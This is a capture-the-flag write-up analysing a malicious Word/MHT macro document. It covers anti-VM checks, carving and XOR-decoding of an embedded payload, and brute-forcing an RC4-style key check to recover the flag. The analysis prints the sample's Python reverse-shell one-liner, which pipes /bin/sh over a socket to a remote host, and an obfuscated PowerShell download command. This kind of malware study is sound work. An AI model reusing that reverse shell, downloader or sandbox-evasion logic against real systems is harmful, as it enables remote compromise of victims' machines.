The file “macroses.doc” is provided and when you open it up, it appears to be a blank document asking if you want to enable content to run the macros. If you switch over to the Visual Basic Editor you receive an error that “macros in this project are disabled”. If you enable the content, the document erases itself.

Looking under the hood, we can see that the file is actually a Multi-Purpose Internet Mail Extension HTML, or MHTML (MHT), file with a DOC extension.

Two of the sections are fairly large base-64 blobs and no strings stand out in them, so we’ll see if we can use some tools to get at the macros.

PS C:\Users\Mater Metal\Desktop> python C:\Python27\Scripts\ .\macroses.doc
Error: .\macroses.doc is not a valid OLE file.
PS C:\Users\Mater Metal\Desktop> python C:\Python27\Scripts\ .\macroses.doc
olevba 0.50 -
Flags        Filename
-----------  -----------------------------------------------------------------
MHT:-------- .\macroses.doc
FILE: .\macroses.doc
No VBA macros found.

Instead of running this as a MHT file, let’s try opening in Microsoft Word and Saving As a different format (Microsoft Word 97-2003 DOC), then running the tools again.

PS C:\Users\Mater Metal\Desktop> python C:\Python27\Scripts\ .\macroses.doc
olevba 0.50 -
Flags        Filename
-----------  -----------------------------------------------------------------
MHT:-------- .\macroses.doc
FILE: .\macroses.doc
No VBA macros found.

PS C:\Users\Mater Metal\Desktop> python C:\Python27\Scripts\ .\macroses_modified.doc
 1:      114 '\x01CompObj'
 2:     4096 '\x05DocumentSummaryInformation'
 3:     4096 '\x05SummaryInformation'
 4:     7281 '1Table'
 5:      587 'Macros/PROJECT'
 6:      116 'Macros/PROJECTwm'
 7: M   5698 'Macros/VBA/AutoOpen'
 8: M   8619 'Macros/VBA/Module1'
 9: M   1034 'Macros/VBA/Module2'
10: M   3525 'Macros/VBA/ThisDocument'
11:     4009 'Macros/VBA/_VBA_PROJECT'
12:      644 'Macros/VBA/dir'
13:     4096 'WordDocument'

We can see there are four macros in the document, 7-10. Looking at the first one, AutoOpen, we can see it performs a myriad of Anti-VM checks initially.

Below is a summary of the checks.

  • Checks if there are over 50 applications running

  • Checks the root\cimv2 namespace with WMI for strings “vmware”, “vmtools”, “vbox”, “process explorer”, “processhacker”, “procmon”, “visual basic”, “fiddler”, “wireshark”

  • Checks if the number of CPU cores is under 3

  • Checks if “vmware” or “virtualbox” are in the SMBIOSBIOSVersion or SerialNumber

  • Checks if system is part of a domain

If the system passes these checks, there is a second payload, which is base-64 encoded, that is dumped as “as8ja8sj3d.doc”.

Looking above the code which handles writing the base-64 decoded data to the file, we can see the “payload_size” variable is “78058”. Directly below that we see a function call “supersuper” which opens up the current document and carves out a piece based on the offset generated by function “iffyoffy”. This payload then gets base-64 decoded and XOR’s the data with a one-byte key.

The other macros look to handle the file wiping when you enable the content to run the macros, along with blocking the Visual Basic Editor.

So the first step is to determine what the offset is for the base-64 encoded data so we can carve it out. I feel this is better approached statically then trying to defang the macro and causing the offsets to potentially get moved by more or less data.

The offset function pulls numbers from querying your system using WordBasic functions within the Visual Basic for Application (VBA) code.

iffyoffy = ((CInt(Left(WordBasic.[GetSystemInfo$](25), 2)) \ 50) * 500) + ((WordBasic.[GetSystemInfo$](31) \ 768) * 1337) + ((WordBasic.[GetSystemInfo$](32) \ 1366) * 81175)

I wasn’t immediately familiar with this type of WordBasic function and couldn’t find any documentation about it detailing the structure. Microsoft covers the difference here ( but effectively WordBasic preceded VBA and is a flat list of 900 commands, whereas VBA is a hierarchy of objects with methods and properties.

I set out to try and enumerate the structure then to figure out what data was being returned to determine the offset. For each index, I passed it to the MsgBox function and wrote down all of the valid entries.

Iterated items below:

21 Windows NT
22 Pentium
23 7.0
24 6.1
25 59%
26 2147483647
27 386-Enhanced
28 Yes
29 1
30 English (U.S.)
31 1050
32 1680

Index 31 and 32 are display width and height. I’m not sure what index 25 it seemed to constantly be decrementing every few minutes I ran it: 61%, 59%, 58%, 57%. Additionally, the XOR section of the code uses Index 30, which is the current system language, in it’s decoding routine.

Not knowing what resolution would be required or what Index 25 actually is, we could try to brute force it or we could try to approach this differently.

Given that the payload is so large, we can rule out the first base-64 blob in the MHT file as only the second one has enough bytes to cover it. Another problem we’ll need to deal with that the value we return in index 30 of the “GetSystemInfo$” WordBasic function isn’t long enough for the XOR routine, meaning we have the wrong language set so we’ll need to brute force this but luckily it’s only one byte based on the “k” value, as shown in the previous screenshot.

Writing a quick script in Python and copying out the base-64 shows that the blob does not have the correct padding to decode.

>>> def xor_decode(byte):
...     decoded = ""
...     for i in base64.b64decode(a):
...             decoded += chr(ord(i) ^ byte)
...     return decoded
>>> print xor_decode(0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 3, in xor_decode
  File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/", line 76, in b64decode
    raise TypeError(msg)
TypeError: Incorrect padding

Now before we proceed further, it’s worth noting that when base-64 decodes a string, the first character determines what each set of 3 decoded bytes will return. You can have four different offsets for decoding because of this which increases the possible surface we’ll need to base-64 XOR brute force. To illustrate what I mean, see the below example of how decoding changes by popping off the first character to adjust the decoding.

$ echo 'tCxdGhpc2lzYW5leGFtcGxl' |base64 -D
$ echo 'CxdGhpc2lzYW5leGFtcGxl' |base64 -D

$ echo 'xdGhpc2lzYW5leGFtcGxl' |base64 -D
$ echo 'dGhpc2lzYW5leGFtcGxl' |base64 -D

Given this, I’ll adjust the script to start at the next offset and see what we get when we decode through the byte range and search for a handful of common strings.

>>> def xor_decode(byte):
...     decoded = ""
...     for i in base64.b64decode(a[1:]):
...             decoded += chr(ord(i) ^ byte)
...     return decoded
>>> for i in range(0,255):
...     if "http" in xor_decode(i) or "\xD0\xCF\x11\xE0" in xor_decode(i) or "Content" in xor_decode(i):
...             print "Found a hit at %s" % i
Found a hit at 6
Found a hit at 38
Found a hit at 114

Looking at the first hit with 6 (0x6) looks promising. We see multiple strings and this jumps out immediately as having fl4g.txt.

Looking at 38 (0x26) shows alternating case of the same data and 114 (0x72) just flags as it happen to have “http” somewhere in the returned content. Additionally, with XOR 0x6 we see the header for a DOC file.

>>>"\\xD0\\xCF\\x11\\xE0", xor_decode(6)).start()


We’ll go ahead and write this to the carved out file and start analyzing this second document.

>>> f = open("as8ja8sj3d.doc", "w")
>>> f.write(xor_decode(6)[46602:])
>>> f.close()

This new Microsoft Word document opens without issue and we can see the macros contained within.

Looking at the code, when the document opens it tries to determine if it’s running on Windows or Mac. If it’s a Mac, the code will attempt to use a Python command that runs data (code) from “”; however, this site 404’s.

scriptToRun = "do shell script ""python -c 'import urllib2,socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\""\"",80)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\""/bin/sh\"",\""-i\""]);' &"""

If it’s not a Mac, it runs the below base-64 encoded PowerShell script.

(New-Object System.Net.WebClient).DownloadFile(${^-^}, ${\(@^@)/});

This decodes to “” which contains the text “75”. Neither of these provides much in the way of answers so we’ll continue looking.

The AutoOpen module launches a form called “UserForm1”. This form presents the user with a window to enter a key and check the answer.

Underlying this form we can see code connects to an entirely different URL “”.

We can also see that the content from this site is used in a function called “ourseahorse” as the “sKey” variable while the user provided input is the “sMessage” variable. The resulting output is compared against “y”, which appears to be a string of comma-separated ordinals. If the strings match, then the MsgBox function is called to print “Gratz”.

At this point, we need to figure out what key/message pair will generate the output in “y”.

y =

Looking at the site, we see the string “TheFileIsCorrupted”.

The “ourseahorse” function is found in the AutoOpen module

Function ourseahorse(sMessage, strKey)
    Dim kLen, x, y, i, j, temp
    Dim s(256), k(256)
    kLen = Len(strKey)
    For i = 0 To 255
        s(i) = i
        k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1))
    j = 0
    For i = 0 To 255
        j = (j + k(i) + s(i)) Mod 256
        temp = s(i)
        s(i) = s(j)
        s(j) = temp
    x = 0
    y = 0
    For i = 1 To 3072
        x = (x + 1) Mod 256
        y = (y + s(x)) Mod 256
        temp = s(x)
        s(x) = s(y)
        s(y) = temp
    For i = 1 To Len(sMessage)
        x = (x + 1) Mod 256
        y = (y + s(x)) Mod 256
        temp = s(x)
        s(x) = s(y)
        s(y) = temp
        ourseahorse = ourseahorse & (s((s(x) + s(y)) Mod 256) Xor Asc(Mid(sMessage, i, 1))) & ","
End Function

Reading over the function, it appears to create a few arrays and populate them with various data as it manipulates the input. At the end, it will print append the ordinal to the returned string with a comma.

We know the first part of the key should be “PAN{“ so let’s copy the function over into a new document and see what it returns when we run the function with the key found on the site.

Well that’s not right. We know the first four characters of “y” should be “111,84,77,89,” so something isn’t correct.

Looking back at the code in the original document, we can see “sKey” is set to the “responseText” of the aforementioned URL. Looking at the source of the website we can actually see it’s two lines.

Doing a “curl” of the website shows that not only is there a linefeed character (0xA), but there is a space (0x20) after the text.

$ curl -s |xxd
00000000: 5468 6546 696c 6549 7343 6f72 7275 7074  TheFileIsCorrupt
00000010: 6564 200a                                

Given this, we can adjust our macro accordingly.

sMessage = "PAN{"
strKey = "TheFileIsCorrupted " & vbLf

y = ourseahorse(sMessage, strKey)
MsgBox y

Running with the correct key we’re rewarded with the start of a matching string.

Now all we need to do is brute force the rest of the key.

I put together a small VBA loop to check values in the script and then, if they exist in our expected output, retain the character.

sMessage = "PAN{"
strKey = "TheFileIsCorrupted " & vbLf
sFinal = "111,84,77,89,203,150,116,89,197,72,226,100,165,245,146,10,32,226,162,246,203,54,22,38,170,176,140,251,246,148,213,97,164,250,125,242,13,162,250,33,239,104,38,74,167,183,133,3,72,255,131,105,228,81,164,202,212,207,231,172,100,156,197,237,45,87,182,196,77,"
aParts = Split(sFinal, ",")
For i = 0 To UBound(aParts) - 4
    For Z = 0 To 255
        sCheck = ourseahorse(sMessage & Chr(Z), strKey)
        If InStr(sFinal, sCheck) Then
            sMessage = sMessage & Chr(Z)
        End If

This allows for the string to be built as shown in the GIF below.

The challenge answer is “PAN{681ebc6c79d1a1d4a035943f4f12bdf0488ad1822976b1809b015ae06e335817}”.